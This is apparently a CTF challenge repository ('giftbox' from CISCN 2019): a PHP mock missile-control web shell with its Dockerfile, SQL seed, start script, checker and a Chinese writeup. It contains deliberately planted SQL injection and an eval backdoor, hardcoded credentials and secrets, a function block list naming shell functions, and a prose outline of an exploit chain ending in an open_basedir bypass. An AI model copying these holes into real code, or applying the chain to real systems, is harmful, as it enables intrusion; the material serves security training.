├── flag.txt ├── source ├── sandbox │ ├── missiles │ │ └── .gitkeep │ ├── modules │ │ ├── secret.php │ │ ├── destruct.php │ │ ├── login.php │ │ ├── launch.php │ │ └── targeting.php │ └── usage.md ├── img │ └── flag.jpg ├── js │ ├── pyotp.zip │ ├── jquery.fittext.js │ ├── jquery.lettering.js │ ├── jquery.textillate.js │ ├── main.js │ └── totp.min.js ├── font │ └── monaco.ttf ├── css │ ├── getvoice.mp3 │ ├── main.css │ └── style.css ├── totp.php ├── shell.php └── index.html ├── img ├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png ├── 6.png ├── 7.png ├── 8.png └── 9.png ├── Dockerfile ├── users.sql ├── readme.md ├── start.sh ├── check.py └── exp.py /flag.txt: -------------------------------------------------------------------------------- 1 | flag{flag_test} 2 | -------------------------------------------------------------------------------- /source/sandbox/missiles/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/3.png -------------------------------------------------------------------------------- /img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/4.png -------------------------------------------------------------------------------- /img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/5.png -------------------------------------------------------------------------------- /img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/6.png -------------------------------------------------------------------------------- /img/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/7.png -------------------------------------------------------------------------------- /img/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/8.png -------------------------------------------------------------------------------- /img/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/img/9.png -------------------------------------------------------------------------------- /source/img/flag.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/source/img/flag.jpg -------------------------------------------------------------------------------- /source/js/pyotp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/source/js/pyotp.zip -------------------------------------------------------------------------------- /source/font/monaco.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/source/font/monaco.ttf -------------------------------------------------------------------------------- /source/css/getvoice.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/impakho/ciscn2019_giftbox/master/source/css/getvoice.mp3 -------------------------------------------------------------------------------- /source/sandbox/modules/secret.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/sandbox/usage.md: -------------------------------------------------------------------------------- 1 | [CISCN Nuclear Missile Controlling System] 2 | 3 | login [username] [password] 4 | logout 5 | launch 6 | targeting [code] [position] 7 | destruct 8 | 9 | Besides, there are some hidden commands, try to find them! -------------------------------------------------------------------------------- /source/sandbox/modules/destruct.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mattrayner/lamp:latest-1804 2 | 3 | RUN rm -f /etc/service/sshd/down 4 | RUN sed -ri 's/^#?PermitRootLogin\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config 5 | RUN service ssh restart 6 | 7 | RUN groupadd ciscn 8 | RUN useradd -g ciscn ciscn -m 9 | RUN password=$(openssl passwd -1 -salt 'c7CT0EgV' 'W1rk8yZe') 10 | RUN sed -i "s#ciscn:\!#ciscn:"$password"#g" /etc/shadow 11 | 12 | COPY ./source /app 13 | COPY ./users.sql /tmp 14 | 15 | COPY ./flag.txt /flag 16 | RUN chown root:root /flag 17 | RUN chmod 644 /flag 18 | 19 | COPY ./start.sh / 20 | RUN chmod +x /start.sh 21 | CMD /start.sh 22 | -------------------------------------------------------------------------------- /source/sandbox/modules/login.php: -------------------------------------------------------------------------------- 1 | connect_error) { 10 | die("Connection Error"); 11 | } 12 | 13 | // TODO: need to be fixed. 14 | $sql = "SELECT password FROM users WHERE username='".$username."'"; 15 | 16 | $result = $conn->query($sql); 17 | 18 | if ($result->num_rows > 0) { 19 | while ($row = $result->fetch_assoc()) { 20 | if ($row["password"] === $password){ 21 | if ($username==='admin') { 22 | $res="login success."; 23 | $_SESSION['login']='1'; 24 | @mkdir($sandbox.'missiles/'.md5($_SERVER['REMOTE_ADDR']).'/'); 25 | }else{ 26 | $res="only admin permitted."; 27 | } 28 | }else{ 29 | $res="login fail."; 30 | } 31 | break; 32 | } 33 | } else { 34 | $res="login fail."; 35 | } 36 | $conn->close(); 37 | ?> -------------------------------------------------------------------------------- /source/js/jquery.fittext.js: -------------------------------------------------------------------------------- 1 | /*global jQuery */ 2 | /*! 3 | * FitText.js 1.1 4 | * 5 | * Copyright 2011, Dave Rupert http://daverupert.com 6 | * Released under the WTFPL license 7 | * http://sam.zoy.org/wtfpl/ 8 | * 9 | * Date: Thu May 05 14:23:00 2011 -0600 10 | */ 11 | 12 | (function( $ ){ 13 | 14 | $.fn.fitText = function( kompressor, options ) { 15 | 16 | // Setup options 17 | var compressor = kompressor || 1, 18 | settings = $.extend({ 19 | 'minFontSize' : Number.NEGATIVE_INFINITY, 20 | 'maxFontSize' : Number.POSITIVE_INFINITY 21 | }, options); 22 | 23 | return this.each(function(){ 24 | 25 | // Store the object 26 | var $this = $(this); 27 | 28 | // Resizer() resizes items based on the object width divided by the compressor * 10 29 | var resizer = function () { 30 | $this.css('font-size', Math.max(Math.min($this.width() / (compressor*10), parseFloat(settings.maxFontSize)), parseFloat(settings.minFontSize))); 31 | }; 32 | 33 | // Call once to set. 34 | resizer(); 35 | 36 | // Call on resize. Opera debounces their resize by default. 37 | $(window).on('resize', resizer); 38 | 39 | }); 40 | 41 | }; 42 | 43 | })( jQuery ); -------------------------------------------------------------------------------- /users.sql: -------------------------------------------------------------------------------- 1 | /* 2 | Navicat Premium Data Transfer 3 | 4 | Source Server : localhost 5 | Source Server Type : MySQL 6 | Source Server Version : 50553 7 | Source Host : localhost:3306 8 | Source Schema : ciscn 9 | 10 | Target Server Type : MySQL 11 | Target Server Version : 50553 12 | File Encoding : 65001 13 | 14 | Date: 04/05/2019 01:02:01 15 | */ 16 | 17 | SET NAMES utf8mb4; 18 | SET FOREIGN_KEY_CHECKS = 0; 19 | 20 | -- ---------------------------- 21 | -- Table structure for users 22 | -- ---------------------------- 23 | DROP TABLE IF EXISTS `users`; 24 | CREATE TABLE `users` ( 25 | `id` int(11) NOT NULL AUTO_INCREMENT, 26 | `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, 27 | `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, 28 | PRIMARY KEY (`id`) USING BTREE 29 | ) ENGINE = MyISAM AUTO_INCREMENT = 2 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; 30 | 31 | -- ---------------------------- 32 | -- Records of users 33 | -- ---------------------------- 34 | INSERT INTO `users` VALUES (1, 'admin', 'flag{hi33en_C0mm3nd-sh0w_hiiintttt_23333}'); 35 | 36 | SET FOREIGN_KEY_CHECKS = 1; 37 | -------------------------------------------------------------------------------- /source/sandbox/modules/launch.php: -------------------------------------------------------------------------------- 1 | '; 6 | @mkdir($sandbox.'missiles/'.md5($_SERVER['REMOTE_ADDR']).'/'); 7 | $files=scandir($sandbox.'missiles/'.md5($_SERVER['REMOTE_ADDR']).'/'); 8 | $codes=array(); 9 | $positions=array(); 10 | $exprs=array(); 11 | foreach ($files as $code) { 12 | if ($code != "." && $code != "..") { 13 | $position=file_get_contents($sandbox.'missiles/'.md5($_SERVER['REMOTE_ADDR']).'/'.$code); 14 | array_push($codes, $code); 15 | array_push($positions, $position); 16 | array_push($exprs, '$'.$code.' = "'.$position.'";'); 17 | $count++; 18 | } 19 | } 20 | for($cnt=0; $cnt'; 22 | // TODO: remove a backdoor here. Be careful!!! 23 | @eval($exprs[$cnt]); 24 | $res.='Reading target: $'.$codes[$cnt].' = "'.${$codes[$cnt]}.'";
'; 25 | } 26 | if ($count>0){ 27 | $res.="3..2..1..Fire!
"; 28 | $res.="All {$count} missiles are launched...
"; 29 | $res.="Cruising...
"; 30 | $res.="Engaging...Bull's-eye!
"; 31 | $res.="All targets are eliminated.
"; 32 | }else{ 33 | $res.="No targets were selected.
"; 34 | $res.="Aborted.
"; 35 | } 36 | ?> -------------------------------------------------------------------------------- /source/sandbox/modules/targeting.php: -------------------------------------------------------------------------------- 1 | 2){ 7 | return 'code too long.'; 8 | } 9 | for ($i=0; $i12){ 23 | return 'position too long.'; 24 | } 25 | for ($i=0; $i -------------------------------------------------------------------------------- /source/js/jquery.lettering.js: -------------------------------------------------------------------------------- 1 | /*global jQuery */ 2 | /*! 3 | * Lettering.JS 0.6.1 4 | * 5 | * Copyright 2010, Dave Rupert http://daverupert.com 6 | * Released under the WTFPL license 7 | * http://sam.zoy.org/wtfpl/ 8 | * 9 | * Thanks to Paul Irish - http://paulirish.com - for the feedback. 10 | * 11 | * Date: Mon Sep 20 17:14:00 2010 -0600 12 | */ 13 | (function($){ 14 | function injector(t, splitter, klass, after) { 15 | var a = t.text().split(splitter), inject = ''; 16 | if (a.length) { 17 | $(a).each(function(i, item) { 18 | inject += ''+item+''+after; 19 | }); 20 | t.empty().append(inject); 21 | } 22 | } 23 | 24 | var methods = { 25 | init : function() { 26 | 27 | return this.each(function() { 28 | injector($(this), '', 'char', ''); 29 | }); 30 | 31 | }, 32 | 33 | words : function() { 34 | 35 | return this.each(function() { 36 | injector($(this), ' ', 'word', ' '); 37 | }); 38 | 39 | }, 40 | 41 | lines : function() { 42 | 43 | return this.each(function() { 44 | var r = "eefec303079ad17405c889e092e105b0"; 45 | // Because it's hard to split a
tag consistently across browsers, 46 | // (*ahem* IE *ahem*), we replaces all
instances with an md5 hash 47 | // (of the word "split"). If you're trying to use this plugin on that 48 | // md5 hash string, it will fail because you're being ridiculous. 49 | injector($(this).children("br").replaceWith(r).end(), r, 'line', ''); 50 | }); 51 | 52 | } 53 | }; 54 | 55 | $.fn.lettering = function( method ) { 56 | // Method calling logic 57 | if ( method && methods[method] ) { 58 | return methods[ method ].apply( this, [].slice.call( arguments, 1 )); 59 | } else if ( method === 'letters' || ! method ) { 60 | return methods.init.apply( this, [].slice.call( arguments, 0 ) ); // always pass an array 61 | } 62 | $.error( 'Method ' + method + ' does not exist on jQuery.lettering' ); 63 | return this; 64 | }; 65 | 66 | })(jQuery); -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # 国赛2019分区赛 - giftbox (后来据说是西北赛区Web5) 2 | 3 | ## 题目信息: 4 | 5 | * 题目名称:giftbox 6 | * 预估难度:中等偏难 7 | 8 | ## 题目描述: 9 | 10 | ``` 11 | 送给小蛮腰的礼物,她是一个美丽的姑娘。 12 | ``` 13 | 14 | ## 题目考点: 15 | 16 | ``` 17 | 1. otp计算 18 | 2. sql注入爆破 19 | 3. php可变变量和php内置函数 20 | 4. open_basedir绕过 21 | ``` 22 | 23 | ## 思路简述: 24 | 25 | 先审计网页源代码,能够实现 `otp` 的计算,然后 `sql注入` 写脚本爆破得到 `admin` 的密码,登录后可以进行有限制的 `eval` 任意代码执行,利用 `php可变变量` 和 `php内置函数` 可以构造 `payload` 来实现任意代码执行,然后就可以对漏洞源代码进行 `fix` 。不过系统命令函数被禁用,无法执行系统命令来读取 `flag` ,所以还需要使用 `chdir` 和 `ini_set` 绕过 `open_basedir` 限制来读取到根目录下的 `flag` 文件。 26 | 27 | ## 题目提示: 28 | 29 | 1. Tw0 Fact0r Auth 30 | 2. login first 31 | 3. {$a} 32 | 4. chdir&ini_set 33 | 34 | ## 原始 flag 及更新命令: 35 | 36 | ``` 37 | # 原始 flag 38 | flag{flag_test} 39 | 40 | # 更新 flag 命令 41 | echo 'flag{85c2a01a-55f7-442a-8712-3f6908e1463a}' > /flag 42 | 或 43 | docker exec -i -t xxxxxxxxxx bash -c "echo flag{85c2a01a-55f7-442a-8712-3f6908e1463a} > /flag" 44 | ``` 45 | 46 | ## 题目环境: 47 | 48 | ``` 49 | 1. ubuntu 18.04 LTS 50 | 2. Apache/2.4.18 (Ubuntu) 51 | 3. PHP 7.3.3 52 | 4. MySQL 5.7.25 53 | ``` 54 | 55 | ## 题目制作过程: 56 | 57 | 1. 设计好漏洞,编写php相关代码 58 | 2. 按照“Docker示例文档.md”来编写Dockerfile,制作好镜像。 59 | 60 | ## 题目writeup: 61 | 62 | ![1](./img/1.png) 63 | 64 | 在源代码 `main.js` 里找到一个提示,提供了 `otp` 的 `python` 库和 `totp` 的参数,方便写脚本。 65 | 66 | ![2](./img/2.png) 67 | 68 | 同样是 `main.js` 里,可以找到用来生成 `totp` 的 `key` 。 69 | 70 | 出题人注:服务端时间与客户端时间相差大于 `15秒`,需要先计算正确的 `totp` 才能调用 `shell.php` 。 71 | 72 | ![3](./img/3.png) 73 | 74 | 查看 `usage.md` 可以看到命令用法, `login` 存在注入。 75 | 76 | ![4](./img/4.png) 77 | 78 | ![5](./img/5.png) 79 | 80 | 写个脚本爆破得到密码:`flag{hi33en_C0mm3nd-sh0w_hiiintttt_23333}` 81 | 82 | ![6](./img/6.png) 83 | 84 | 密码里提示有个隐藏命令 `sh0w_hiiintttt_23333` ,可以得到提示 `eval` 在 `launch` 的时候被调用。 85 | 86 | `launch` 前需要先用 `targeting` 设置,不过对输入有限制,这里可以 `fuzz` 一下,得知 `code` 限制 `a-zA-Z0-9` , `position` 限制 `a-zA-Z0-9})$({_+-,.` ,而且两者的长度也有限制。 87 | 88 | 这里需要用 `php可变变量` 构造和拼接 `payload` 。 89 | 90 | ![7](./img/7.png) 91 | 92 | ![8](./img/8.png) 93 | 94 | ![9](./img/9.png) 95 | 96 | 构造用来 `getflag` 的 `payload` ,绕过 `open_basedir` 的限制,写个脚本就能 `getflag` 。 97 | 98 | Flag:`flag{flag_test}` 99 | 100 | ## 注意事项 101 | 102 | 1. 题目名称不要有特殊符号,可用下划线代替空格; 103 | 2. 根据设计的赛题,自行完善所有文件夹中的信息; 104 | 3. 此文件夹下信息未完善的队伍,将扣除一定得分。 -------------------------------------------------------------------------------- /source/css/main.css: -------------------------------------------------------------------------------- 1 | /* latin-ext */ 2 | @font-face { 3 | font-family: 'Cutive Mono'; 4 | font-style: normal; 5 | font-weight: 400; 6 | src: local('Cutive Mono Regular'), local('CutiveMono-Regular'), url(https://fonts.gstatic.com/s/cutivemono/v6/m8JWjfRfY7WVjVi2E-K9H6RMTm6o39ucNvc.woff2) format('woff2'); 7 | unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; 8 | } 9 | 10 | /* latin */ 11 | @font-face { 12 | font-family: 'Cutive Mono'; 13 | font-style: normal; 14 | font-weight: 400; 15 | src: local('Cutive Mono Regular'), local('CutiveMono-Regular'), url(https://fonts.gstatic.com/s/cutivemono/v6/m8JWjfRfY7WVjVi2E-K9H6RCTm6o39uc.woff2) format('woff2'); 16 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; 17 | } 18 | 19 | /* latin */ 20 | @font-face { 21 | font-family: 'Monaco'; 22 | font-style: normal; 23 | font-weight: 400; 24 | src: local('monaco.ttf'); 25 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; 26 | } 27 | 28 | * { 29 | cursor: text; 30 | -webkit-tap-highlight-color: transparent 31 | } 32 | 33 | body ::selection { 34 | background-color: #fff; 35 | color: #000 36 | } 37 | 38 | body.root-mode ::selection { 39 | background-color: #fff; 40 | color: #000 41 | } 42 | 43 | body { 44 | font-family: Monaco, Cutive Mono, Courier New, Consolas, monospace; 45 | font-weight: 700; 46 | font-size: 14px; 47 | color: #fff; 48 | background-color: #000; 49 | padding: 5px; 50 | margin: 0 51 | } 52 | 53 | body.root-mode { 54 | background-color: #000 55 | } 56 | 57 | .logo1 { 58 | color: rgb(59, 187, 51); 59 | } 60 | 61 | .logo2 { 62 | color: rgb(174, 172, 51); 63 | } 64 | 65 | .logo3 { 66 | color: rgb(193, 57, 40); 67 | } 68 | 69 | .logo4 { 70 | color: rgb(211, 67, 201); 71 | } 72 | 73 | .logo5 { 74 | color: rgb(83, 58, 221); 75 | } 76 | 77 | .logo-title { 78 | color: rgb(60, 187, 198); 79 | } 80 | 81 | .input-text { 82 | display: inline-block; 83 | background-color: transparent; 84 | border: none; 85 | -moz-appearance: none; 86 | -webkit-appearance: none; 87 | outline: 0; 88 | box-sizing: border-box; 89 | font-size: 14px; 90 | font-family: Monaco, Cutive Mono, Courier New, Consolas, monospace; 91 | font-weight: 700; 92 | color: #fff; 93 | width: 800px; 94 | padding-block-end: 0 95 | } 96 | 97 | #usr { 98 | color: rgb(193, 54, 70); 99 | } 100 | 101 | .host { 102 | color: rgb(60, 187, 198); 103 | } 104 | 105 | body.root-mode .input-text { 106 | color: #fff 107 | } 108 | 109 | #main { 110 | line-height: 20px; 111 | word-wrap: break-word; 112 | } 113 | 114 | body.root-mode #main { 115 | color: #fff 116 | } 117 | 118 | .ls-dir { 119 | color: rgb(60, 187, 198); 120 | } 121 | 122 | .ls-exec { 123 | color: rgb(59, 187, 51); 124 | } 125 | 126 | body.root-mode .prefix { 127 | color: #fff 128 | } 129 | 130 | #main a { 131 | color: #fff 132 | } 133 | 134 | #main a:hover { 135 | text-decoration: none 136 | } 137 | 138 | body.root-mode #main a { 139 | color: #fff 140 | } -------------------------------------------------------------------------------- /start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -e /inited ] 4 | then 5 | service ssh start 6 | service mysql start 7 | service apache2 start 8 | while true; do echo running; sleep 3; done 9 | fi 10 | 11 | VOLUME_HOME="/var/lib/mysql" 12 | 13 | if [ -e /etc/php/5.6/apache2/php.ini ] 14 | then 15 | sed -ri -e "s/^upload_max_filesize.*/upload_max_filesize = ${PHP_UPLOAD_MAX_FILESIZE}/" \ 16 | -e "s/^post_max_size.*/post_max_size = ${PHP_POST_MAX_SIZE}/" /etc/php/5.6/apache2/php.ini 17 | else 18 | sed -ri -e "s/^upload_max_filesize.*/upload_max_filesize = ${PHP_UPLOAD_MAX_FILESIZE}/" \ 19 | -e "s/^post_max_size.*/post_max_size = ${PHP_POST_MAX_SIZE}/" /etc/php/7.2/apache2/php.ini 20 | fi 21 | 22 | 23 | sed -i "s/export APACHE_RUN_GROUP=www-data/export APACHE_RUN_GROUP=staff/" /etc/apache2/envvars 24 | 25 | if [ -n "$APACHE_ROOT" ];then 26 | rm -f /var/www/html && ln -s "/app/${APACHE_ROOT}" /var/www/html 27 | fi 28 | 29 | sed -i -e "s/cfg\['blowfish_secret'\] = ''/cfg['blowfish_secret'] = '`date | md5sum`'/" /var/www/phpmyadmin/config.inc.php 30 | 31 | mkdir -p /var/run/mysqld 32 | 33 | if [ -n "$VAGRANT_OSX_MODE" ];then 34 | usermod -u $DOCKER_USER_ID www-data 35 | groupmod -g $(($DOCKER_USER_GID + 10000)) $(getent group $DOCKER_USER_GID | cut -d: -f1) 36 | groupmod -g ${DOCKER_USER_GID} staff 37 | chmod -R 770 /var/lib/mysql 38 | chmod -R 770 /var/run/mysqld 39 | chown -R www-data:staff /var/lib/mysql 40 | chown -R www-data:staff /var/run/mysqld 41 | else 42 | # Tweaks to give Apache/PHP write permissions to the app 43 | chown -R www-data:staff /var/www 44 | chown -R www-data:staff /app 45 | chown -R www-data:staff /var/lib/mysql 46 | chown -R www-data:staff /var/run/mysqld 47 | chmod -R 770 /var/lib/mysql 48 | chmod -R 770 /var/run/mysqld 49 | fi 50 | 51 | rm /var/run/mysqld/mysqld.sock 52 | 53 | sed -i "s/bind-address.*/bind-address = 0.0.0.0/" /etc/mysql/my.cnf 54 | sed -i "s/user.*/user = www-data/" /etc/mysql/my.cnf 55 | 56 | if [[ ! -d $VOLUME_HOME/mysql ]]; then 57 | echo "=> An empty or uninitialized MySQL volume is detected in $VOLUME_HOME" 58 | echo "=> Installing MySQL ..." 59 | 60 | # Try the 'preferred' solution 61 | mysqld --initialize-insecure > /dev/null 2>&1 62 | 63 | # IF that didn't work 64 | if [ $? -ne 0 ]; then 65 | # Fall back to the 'depreciated' solution 66 | mysql_install_db > /dev/null 2>&1 67 | fi 68 | 69 | echo "=> Done!" 70 | /create_mysql_users.sh 71 | else 72 | echo "=> Using an existing volume of MySQL" 73 | fi 74 | 75 | mv /app/sandbox / 76 | chown -R www-data:www-data /var/lib/php* 77 | chown -R www-data:www-data /app 78 | chown -R www-data:www-data /sandbox 79 | 80 | mkdir /var/run/mysqld 81 | chown -R mysql:mysql /var/log/mysql 82 | chown -R mysql:mysql /var/lib/mysql 83 | chown -R mysql:mysql /var/lib/mysql-files 84 | chown -R mysql:mysql /var/run/mysqld 85 | chmod 777 /tmp 86 | 87 | service ssh start 88 | 89 | mysqld_safe & 90 | 91 | sleep 5 92 | mysql -uroot -e "CREATE DATABASE giftbox;" 93 | mysql -uroot -e "CREATE USER 'ciscn'@'%' IDENTIFIED BY 'R3dy5eAy';" 94 | mysql -uroot -e "GRANT ALL PRIVILEGES ON giftbox.* TO 'ciscn'@'%';" 95 | mysql -uroot -e "FLUSH PRIVILEGES;" 96 | mysql -uroot -e "USE giftbox; SOURCE /tmp/users.sql;" 97 | rm -rf /tmp/users.sql 98 | 99 | echo 'session.upload_progress.enabled = Off' >> /etc/php/7.3/apache2/php.ini 100 | echo 'open_basedir = /app:/sandbox' >> /etc/php/7.3/apache2/php.ini 101 | echo 'disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,dl,exec,system,passthru,popen,proc_open,shell_exec,mail,imap_open,imap_mail,getenv,setenv,putenv,apache_setenv,symlink,link,popepassthru,syslog,readlink,openlog,ini_restore,ini_alter,proc_get_status,chown,chgrp,chroot,pfsockopen,stream_socket_server,error_log' >> /etc/php/7.3/apache2/php.ini 102 | rm -rf /app/index.php 103 | 104 | touch /inited 105 | 106 | source /etc/apache2/envvars 107 | exec apache2 -D FOREGROUND 108 | 109 | while true; do echo running; sleep 3; done -------------------------------------------------------------------------------- /source/totp.php: -------------------------------------------------------------------------------- 1 | 0, "B" => 1, 7 | "C" => 2, "D" => 3, 8 | "E" => 4, "F" => 5, 9 | "G" => 6, "H" => 7, 10 | "I" => 8, "J" => 9, 11 | "K" => 10, "L" => 11, 12 | "M" => 12, "N" => 13, 13 | "O" => 14, "P" => 15, 14 | "Q" => 16, "R" => 17, 15 | "S" => 18, "T" => 19, 16 | "U" => 20, "V" => 21, 17 | "W" => 22, "X" => 23, 18 | "Y" => 24, "Z" => 25, 19 | "2" => 26, "3" => 27, 20 | "4" => 28, "5" => 29, 21 | "6" => 30, "7" => 31 22 | ); 23 | /** 24 | * Generates a 16 digit secret key in base32 format 25 | * @return string 26 | **/ 27 | public static function generate_secret_key($length = 16) { 28 | $b32 = "234567QWERTYUIOPASDFGHJKLZXCVBNM"; 29 | $s = ""; 30 | for ($i = 0; $i < $length; $i++) 31 | $s .= $b32[rand(0,31)]; 32 | return $s; 33 | } 34 | /** 35 | * Returns the current Unix Timestamp devided by the keyRegeneration 36 | * period. 37 | * @return integer 38 | **/ 39 | public static function get_timestamp() { 40 | return floor(microtime(true)/self::keyRegeneration); 41 | } 42 | /** 43 | * Decodes a base32 string into a binary string. 44 | **/ 45 | public static function base32_decode($b32) { 46 | $b32 = strtoupper($b32); 47 | if (!preg_match('/^[ABCDEFGHIJKLMNOPQRSTUVWXYZ234567]+$/', $b32, $match)) 48 | throw new Exception('Invalid characters in the base32 string.'); 49 | $l = strlen($b32); 50 | $n = 0; 51 | $j = 0; 52 | $binary = ""; 53 | for ($i = 0; $i < $l; $i++) { 54 | $n = $n << 5; // Move buffer left by 5 to make room 55 | $n = $n + self::$lut[$b32[$i]]; // Add value into buffer 56 | $j = $j + 5; // Keep track of number of bits in buffer 57 | if ($j >= 8) { 58 | $j = $j - 8; 59 | $binary .= chr(($n & (0xFF << $j)) >> $j); 60 | } 61 | } 62 | return $binary; 63 | } 64 | /** 65 | * Takes the secret key and the timestamp and returns the one time 66 | * password. 67 | * 68 | * @param binary $key - Secret key in binary form. 69 | * @param integer $counter - Timestamp as returned by get_timestamp. 70 | * @return string 71 | **/ 72 | public static function oath_hotp($key, $counter) 73 | { 74 | if (strlen($key) < 8) 75 | throw new Exception('Secret key is too short. Must be at least 16 base 32 characters'); 76 | $bin_counter = pack('N*', 0) . pack('N*', $counter); // Counter must be 64-bit int 77 | $hash = hash_hmac ('sha1', $bin_counter, $key, true); 78 | return str_pad(self::oath_truncate($hash), self::otpLength, '0', STR_PAD_LEFT); 79 | } 80 | /** 81 | * Verifys a user inputted key against the current timestamp. Checks $window 82 | * keys either side of the timestamp. 83 | * 84 | * @param string $b32seed 85 | * @param string $key - User specified key 86 | * @param integer $window 87 | * @param boolean $useTimeStamp 88 | * @return boolean 89 | **/ 90 | public static function verify_key($b32seed, $key, $window = 1, $useTimeStamp = true) { 91 | $timeStamp = self::get_timestamp(); 92 | if ($useTimeStamp !== true) $timeStamp = (int)$useTimeStamp; 93 | $binarySeed = self::base32_decode($b32seed); 94 | for ($ts = $timeStamp - $window; $ts <= $timeStamp + $window; $ts++) 95 | if (self::oath_hotp($binarySeed, $ts) === $key) 96 | return true; 97 | return false; 98 | } 99 | /** 100 | * Extracts the OTP from the SHA1 hash. 101 | * @param binary $hash 102 | * @return integer 103 | **/ 104 | public static function oath_truncate($hash) 105 | { 106 | $offset = ord($hash[19]) & 0xf; 107 | return ( 108 | ((ord($hash[$offset+0]) & 0x7f) << 24 ) | 109 | ((ord($hash[$offset+1]) & 0xff) << 16 ) | 110 | ((ord($hash[$offset+2]) & 0xff) << 8 ) | 111 | (ord($hash[$offset+3]) & 0xff) 112 | ) % pow(10, self::otpLength); 113 | } 114 | } 115 | ?> -------------------------------------------------------------------------------- /check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | #coding:utf-8 3 | 4 | from sys import * 5 | from base64 import * 6 | import requests 7 | import urllib 8 | import os 9 | import pyotp 10 | 11 | timeout = 1.0 12 | retry_count = 5 13 | 14 | shell_url = '/shell.php?a=%s&totp=%s' 15 | totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5) 16 | preset_password = 'ZmxhZ3toaTMzZW5fQzBtbTNuZC1zaDB3X2hpaWludHR0dF8yMzMzM30=' 17 | s = requests.session() 18 | 19 | 20 | # get method 21 | def get(session, url): 22 | retry = 0 23 | while True: 24 | retry += 1 25 | try: 26 | if session: 27 | r = s.get(url, timeout=timeout) 28 | else: 29 | r = requests.get(url, timeout=timeout) 30 | except: 31 | if retry >= retry_count: 32 | return '' 33 | continue 34 | break 35 | return r.text 36 | 37 | 38 | # post method 39 | def post(session, url, data): 40 | retry = 0 41 | while True: 42 | retry += 1 43 | try: 44 | if session: 45 | r = s.post(url, data=data, timeout=timeout) 46 | else: 47 | r = requests.post(url, data=data, timeout=timeout) 48 | except: 49 | if retry >= retry_count: 50 | return '' 51 | continue 52 | break 53 | return r.text 54 | 55 | 56 | # send command 57 | def send(session, url, command, data=''): 58 | url = url + shell_url 59 | payload = urllib.quote(command) 60 | payload = url % (payload, totp.now()) 61 | if data == '': 62 | res = get(session, payload) 63 | else: 64 | res = post(session, payload, data) 65 | return res 66 | 67 | 68 | # check index 69 | def check1(url): 70 | try: 71 | url = url + '/' 72 | res = get(0, url) 73 | passed = 1 74 | if 'input-text' not in res: passed = 0 75 | if 'yin' not in res: passed = 0 76 | if 'tlt' not in res: passed = 0 77 | if 'bgm' not in res: passed = 0 78 | if 'ciscn' not in res: passed = 0 79 | if 'totp' not in res: passed = 0 80 | if 'main' not in res: passed = 0 81 | if 'console' not in res: passed = 0 82 | if not passed: 83 | raise Exception 84 | except Exception as e: 85 | raise Exception, "Check1 error, index page is not complete." 86 | return True 87 | 88 | 89 | # check main.js 90 | def check2(url): 91 | try: 92 | url = url + '/js/main.js' 93 | res = get(0, url) 94 | passed = 1 95 | if 'ciscn' not in res: passed = 0 96 | if 'sandbox' not in res: passed = 0 97 | if 'pyotp' not in res: passed = 0 98 | if 'digits' not in res: passed = 0 99 | if 'interval' not in res: passed = 0 100 | if 'window' not in res: passed = 0 101 | if 'ajax' not in res: passed = 0 102 | if 'message' not in res: passed = 0 103 | if 'data' not in res: passed = 0 104 | if not passed: 105 | raise Exception 106 | except Exception as e: 107 | raise Exception, "Check2 error, main.js is not 